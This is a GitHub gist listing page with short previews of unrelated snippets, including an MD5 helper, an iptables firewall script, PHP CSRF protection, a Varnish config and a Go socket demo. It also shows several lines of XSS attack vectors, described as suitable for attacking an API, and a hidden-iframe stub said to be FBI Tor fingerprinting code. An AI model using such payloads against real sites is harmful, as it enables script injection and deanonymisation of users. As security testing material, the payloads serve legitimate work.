Skip to content

Instantly share code, notes, and snippets.

View PacodiazDG's full-sized avatar
💭
Process Hollowing

Francisco Javier DLG PacodiazDG

💭
Process Hollowing
  • Mexico, Aguascalientes
View GitHub Profile
@arjones
arjones / gist:1239358
Created September 24, 2011 14:01 — forked from stonegao/gist:1044641
MD5 in scala
object MD5 {
def hash(s: String) = {
val m = java.security.MessageDigest.getInstance("MD5")
val b = s.getBytes("UTF-8")
m.update(b, 0, b.length)
new java.math.BigInteger(1, m.digest()).toString(16)
}
}
@potem
potem / iptables.sh
Created December 22, 2011 21:40
Basic IPTables server firewall
# This script is a basic IPTables server firewall with defenses against some
# of the most common attack types.
#
# Basically you just have to add/remove ports in the first part of this script
# and you should be ready to go.
#
# Help, comments and improvements always appreciated, also, feel free to
# use, change and distribute. Cheers
ip=/usr/sbin/iptables
@kevinSuttle
kevinSuttle / meta-tags.md
Last active November 7, 2024 10:05 — forked from lancejpollard/meta-tags.md
List of Usable HTML Meta and Link Tags
@ziadoz
ziadoz / index.php
Last active June 2, 2023 23:08
Simple PHP / jQuery CSRF Protection
<?php
// See: http://blog.ircmaxell.com/2013/02/preventing-csrf-attacks.html
// Start a session (which should use cookies over HTTP only).
session_start();
// Create a new CSRF token.
if (! isset($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = base64_encode(openssl_random_pseudo_bytes(32));
}
@lsdr
lsdr / net-sec-cheatsheet.sh
Last active July 29, 2018 19:05
unix sec-related cheatsheet
# references
# https://www.thegeekstuff.com/2012/08/lsof-command-examples/
# list open network files
sudo lsof -PiTCP -sTCP:LISTEN
# list files opened by a process
lsof -c ssh
@reifman
reifman / varnish
Created January 28, 2013 00:09
Example Varnish configuration file e.g. /etc/default/varnish
# Configuration file for varnish
#
# /etc/init.d/varnish expects the variables $DAEMON_OPTS, $NFILES and $MEMLOCK
# to be set from this shell script fragment.
#
# Should we start varnishd at boot? Set to "no" to disable.
START=yes
# Maximum number of open files (for ulimit -n)
@JohannesHoppe
JohannesHoppe / 666_lines_of_XSS_vectors.html
Created May 20, 2013 13:38
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@kenshinx
kenshinx / client.go
Last active February 3, 2024 18:49
golang socket server & client ping-pong demo
package main
import (
"os"
"log"
"net"
"strconv"
"strings"
)
@mbijon
mbijon / iframe.html
Created August 4, 2013 19:42
Tor fingerprinting code-injection (allegedly by FBI) --from: http://www.twitlonger.com/show/n_1rlo0uu
//nl7qbezu7pqsuone.onion/?requestID=203f1a01-6bc7-4c8b-b0be-2726a7a3cbd0 iframe:
<html>
<body>
<iframe frameborder=0 border=0 height=1 width=1 id="iframe"> </iframe>
</body>
</html>
<script>
@bzikarsky
bzikarsky / integer_overflow.php
Created December 29, 2013 22:05
Test PHP integer overflow
<?php
echo "var_dump(...)\n";
echo "\n";
echo "PHP_INT_MAX : ";
var_dump(PHP_INT_MAX);
echo "PHP_INT_MAX + 1 : ";
var_dump(PHP_INT_MAX + 1);